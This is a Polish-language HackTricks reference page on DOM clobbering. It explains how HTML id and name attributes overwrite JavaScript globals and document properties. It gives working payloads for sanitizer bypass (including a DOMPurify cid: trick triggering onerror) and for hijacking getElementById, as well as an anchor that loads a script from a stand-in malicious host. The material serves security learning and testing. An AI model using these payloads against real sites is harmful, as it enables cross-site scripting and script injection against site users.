Dom Clobbering

Support HackTricks

Podstawy

Możliwe jest generowanie zmiennych globalnych w kontekście JS za pomocą atrybutów id i name w tagach HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Tylko niektóre elementy mogą używać atrybutu name, aby zniszczyć globalne zmienne, są to: embed, form, iframe, image, img i object.

Interesująco, gdy używasz elementu form do zniszczenia zmiennej, otrzymasz wartość toString samego elementu: [object HTMLFormElement], ale w przypadku anchor wartość toString będzie href anchor. Dlatego, jeśli zniszczysz używając tagu a, możesz kontrolować wartość, gdy jest traktowana jako ciąg:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

Możliwe jest również przeładowanie tablicy oraz atrybutów obiektów:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Aby zniszczyć 3. atrybut (np. x.y.z), musisz użyć form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering więcej atrybutów jest bardziej skomplikowane, ale nadal możliwe, używając iframe:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Tag stylu jest używany do dania wystarczająco dużo czasu na renderowanie iframe. Bez niego napotkasz alert o niezdefiniowanym.

Aby zniszczyć głębsze atrybuty, możesz użyć iframe'ów z kodowaniem html w ten sposób:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Omijanie filtrów

Jeśli filtr przechodzi przez właściwości węzła używając czegoś takiego jak document.getElementByID('x').attributes, możesz zastąpić atrybut .attributes i złamać filtr. Inne właściwości DOM, takie jak tagName, nodeName lub parentNode i inne, są również zastępowalne.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

W JavaScript powszechnie można znaleźć:

var someObject = window.someObject || {};

Manipulowanie HTML na stronie pozwala na nadpisanie someObject węzłem DOM, co potencjalnie wprowadza luki w zabezpieczeniach. Na przykład, możesz zastąpić someObject elementem kotwicy wskazującym na złośliwy skrypt:

<a id=someObject href=//malicious-website.com/malicious.js></a>

W podatnym kodzie, takim jak:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Ta metoda wykorzystuje źródło skryptu do wykonania niechcianego kodu.

Sztuczka: DOMPurify pozwala na użycie protokołu cid:, który nie koduje URL podwójnych cudzysłowów. Oznacza to, że możesz wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonywania. Dlatego wstrzyknięcie czegoś takiego jak <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> spowoduje, że HTML zakodowany &quot; zostanie zdekodowany w czasie wykonywania i ucieknie z wartości atrybutu, aby utworzyć zdarzenie onerror.

Inna technika wykorzystuje element form. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza, aby je oczyścić. Jednak dodając input z id=attributes wewnątrz formularza, skutecznie nadpisujesz właściwość atrybutów, uniemożliwiając sanitariuszowi dostęp do rzeczywistych atrybutów.

Możesz znaleźć przykład tego typu klobberingu w tym opisie CTF.

Klobbering obiektu dokumentu

Zgodnie z dokumentacją możliwe jest nadpisanie atrybutów obiektu dokumentu za pomocą DOM Clobbering:

Interfejs Document obsługuje właściwości nazwane. Obsługiwane nazwy właściwości obiektu Document w dowolnym momencie składają się z następujących, w kolejności drzewa zgodnie z elementem, który je wprowadził, ignorując późniejsze duplikaty, a wartości z atrybutów id pojawiają się przed wartościami z atrybutów name, gdy ten sam element wnosi oba:

- Wartość atrybutu treści name dla wszystkich exposed embed, form, iframe, img i exposed object elementów, które mają niepusty atrybut treści name i są w drzewie dokumentu z dokumentem jako ich korzeniem; - Wartość atrybutu treści id dla wszystkich exposed object elementów, które mają niepusty atrybut treści id i są w drzewie dokumentu z dokumentem jako ich korzeniem; - Wartość atrybutu treści id dla wszystkich img elementów, które mają zarówno niepusty atrybut treści id, jak i niepusty atrybut treści name, i są w drzewie dokumentu z dokumentem jako ich korzeniem.

Korzystając z tej techniki, możesz nadpisać powszechnie używane wartości takie jak document.cookie, document.body, document.children, a nawet metody w interfejsie Document, takie jak document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Pisanie po elemencie zniszczonym

Wyniki wywołań document.getElementById() i document.querySelector() mogą być zmieniane przez wstrzyknięcie tagu <html> lub <body> z identycznym atrybutem id. Oto jak można to zrobić:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Ponadto, stosując style do ukrywania tych wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom ze strony innego tekstu w innerText, co zwiększa skuteczność ataku:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Badania nad SVG ujawniły, że tag <body> może być również skutecznie wykorzystywany:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Aby tag HTML działał w SVG w przeglądarkach takich jak Chrome i Firefox, konieczny jest tag <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Możliwe jest dodanie nowych wpisów wewnątrz formularza po prostu określając atrybut form wewnątrz niektórych tagów. Możesz to wykorzystać do dodania nowych wartości wewnątrz formularza oraz nawet do dodania nowego przycisku do wysłania go (clickjacking lub nadużywanie niektórego kodu JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Odniesienia

Wsparcie HackTricks

Last updated